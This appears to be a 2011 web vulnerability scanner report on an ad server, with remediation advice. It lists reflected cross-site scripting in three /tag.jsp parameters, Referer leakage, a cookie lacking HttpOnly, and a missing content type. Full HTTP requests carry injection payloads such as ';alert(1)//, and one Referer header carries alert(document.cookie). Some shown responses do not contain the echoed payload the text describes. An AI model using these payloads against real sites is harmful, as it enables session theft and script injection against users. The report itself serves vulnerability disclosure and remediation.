Reflected cross-site scripting vulnerabilities arise when data is copied from a request and echoed into the application's immediate response in an unsafe way. An attacker can use the vulnerability to construct a request which, if issued by another application user, will cause JavaScript code supplied by the attacker to execute within the user's browser in the context of that user's session with the application.
The attacker-supplied code can perform a wide variety of actions, such as stealing the victim's session token or login credentials, performing arbitrary actions on the victim's behalf, and logging their keystrokes.
Users can be induced to issue the attacker's crafted request in various ways. For example, the attacker can send a victim a link containing a malicious URL in an email or instant message. They can submit the link to popular web sites that allow content authoring, for example in blog comments. And they can create an innocuous looking web site which causes anyone viewing it to make arbitrary cross-domain requests to the vulnerable application (using either the GET or the POST method).
The security impact of cross-site scripting vulnerabilities is dependent upon the nature of the vulnerable application, the kinds of data and functionality which it contains, and the other applications which belong to the same domain and organisation. If the application is used only to display non-sensitive public content, with no authentication or access control functionality, then a cross-site scripting flaw may be considered low risk. However, if the same application resides on a domain which can access cookies for other more security-critical applications, then the vulnerability could be used to attack those other applications, and so may be considered high risk. Similarly, if the organisation which owns the application is a likely target for phishing attacks, then the vulnerability could be leveraged to lend credibility to such attacks, by injecting Trojan functionality into the vulnerable application, and exploiting users' trust in the organisation in order to capture credentials for other applications which it owns. In many kinds of application, such as those providing online banking functionality, cross-site scripting should always be considered high risk.
Remediation background
In most situations where user-controllable data is copied into application responses, cross-site scripting attacks can be prevented using two layers of defenses:
Input should be validated as strictly as possible on arrival, given the kind of content which it is expected to contain. For example, personal names should consist of alphabetical and a small range of typographical characters, and be relatively short; a year of birth should consist of exactly four numerals; email addresses should match a well-defined regular expression. Input which fails the validation should be rejected, not sanitised.
User input should be HTML-encoded at any point where it is copied into application responses. All HTML metacharacters, including < > " ' and =, should be replaced with the corresponding HTML entities (< > etc).
In cases where the application's functionality allows users to author content using a restricted subset of HTML tags and attributes (for example, blog comments which allow limited formatting and linking), it is necessary to parse the supplied HTML to validate that it does not use any dangerous syntax; this is a non-trivial task.
The value of the h request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1ed5a'%3balert(1)//1c79375e59b was submitted in the h parameter. This input was echoed as 1ed5a';alert(1)//1c79375e59b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=2874CD3&w=300&h=2501ed5a'%3balert(1)//1c79375e59b&rnd= HTTP/1.1 Host: ads.roiserver.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 382 Date: Wed, 26 Jan 2011 23:31:01 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://ads.roiserver.com/disp?pid=2874CD3&rand=" + myRand;
The value of the pid request parameter is copied into a JavaScript string which is encapsulated in double quotation marks. The payload f3693"%3balert(1)//20e0e67a613 was submitted in the pid parameter. This input was echoed as f3693";alert(1)//20e0e67a613 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=2874CD3f3693"%3balert(1)//20e0e67a613&w=300&h=250&rnd= HTTP/1.1 Host: ads.roiserver.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 382 Date: Wed, 26 Jan 2011 23:31:00 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://ads.roiserver.com/disp?pid=2874CD3f3693";alert(1)//20e0e67a613&rand=" + myRand;
The value of the w request parameter is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b9538'%3balert(1)//1694d37eb22 was submitted in the w parameter. This input was echoed as b9538';alert(1)//1694d37eb22 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context.
Request
GET /tag.jsp?pid=2874CD3&w=300b9538'%3balert(1)//1694d37eb22&h=250&rnd= HTTP/1.1 Host: ads.roiserver.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT Content-Type: application/x-javascript Content-Length: 382 Date: Wed, 26 Jan 2011 23:31:00 GMT Connection: close
var myRand=parseInt(Math.random()*99999999);
var pUrl = "http://ads.roiserver.com/disp?pid=2874CD3&rand=" + myRand;
When a web browser makes a request for a resource, it typically adds an HTTP header, called the "Referer" header, indicating the URL of the resource from which the request originated. This occurs in numerous situations, for example when a web page loads an image or script, or when a user clicks on a link or submits a form.
If the resource being requested resides on a different domain, then the Referer header is still generally included in the cross-domain request. If the originating URL contains any sensitive information within its query string, such as a session token, then this information will be transmitted to the other domain. If the other domain is not fully trusted by the application, then this may lead to a security compromise.
You should review the contents of the information being transmitted to other domains, and also determine whether those domains are fully trusted by the originating application.
Today's browsers may withhold the Referer header in some situations (for example, when loading a non-HTTPS resource from a page that was loaded over HTTPS, or when a Refresh directive is issued), but this behaviour should not be relied upon to protect the originating URL from disclosure.
Note also that if users can author content within the application then an attacker may be able to inject links referring to a domain they control in order to capture data from URLs used within the application.
Issue remediation
The application should never transmit any sensitive information within the URL query string. In addition to being leaked in the Referer header, such information may be logged in various locations and may be visible on-screen to untrusted parties.
Request
GET /disp?pid=2874CD3&rand=55208028 HTTP/1.1 Host: ads.roiserver.com Proxy-Connection: keep-alive Referer: http://www.gastongazette.com/news/tie-54571-says-stone.htmlcc82f'%3balert(document.cookie)//e222a5fa214 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT SAdBuild: 400 P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" Content-Type: text/html Content-Length: 5075 Date: Wed, 26 Jan 2011 20:20:09 GMT Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Issue background
If the HttpOnly attribute is set on a cookie, then the cookie's value cannot be read or set by client-side JavaScript. This measure can prevent certain client-side attacks, such as cross-site scripting, from trivially capturing the cookie's value via an injected script.
Issue remediation
There is usually no good reason not to set the HttpOnly flag on all cookies. Unless you specifically require legitimate client-side scripts within your application to read or set a cookie's value, you should set the HttpOnly flag by including this attribute within the relevant Set-cookie directive.
You should be aware that the restrictions imposed by the HttpOnly flag can potentially be circumvented in some circumstances, and that numerous other serious attacks can be delivered by client-side script injection, aside from simple cookie stealing.
Request
GET /click?clid=43c48a1&rand=1296073210443&sid= HTTP/1.1 Host: ads.roiserver.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Cache-Control: max-age=0,no-cache,no-store Pragma: no-cache Expires: Tue, 11 Oct 1977 12:34:56 GMT SAdBuild: 400 P3P: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" Set-Cookie: sadscpax=43c48a1-; Domain=ads.roiserver.com; Expires=Thu, 27-Jan-2011 23:54:59 GMT; Path=/ Location: http://clkrd.com/ad.php?o=skin Content-Length: 0 Date: Wed, 26 Jan 2011 23:30:58 GMT Connection: close
If a web response does not specify a content type, then the browser will usually analyse the response and attempt to determine the MIME type of its content. This can have unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.
In most cases, the absence of a content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.
Issue remediation
For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.
Request
GET /favicon.ico HTTP/1.1 Host: ads.roiserver.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 Accept-Ranges: bytes ETag: W/"894-1282883216000" Last-Modified: Fri, 27 Aug 2010 04:26:56 GMT Content-Length: 894 Date: Thu, 27 Jan 2011 14:52:23 GMT Connection: close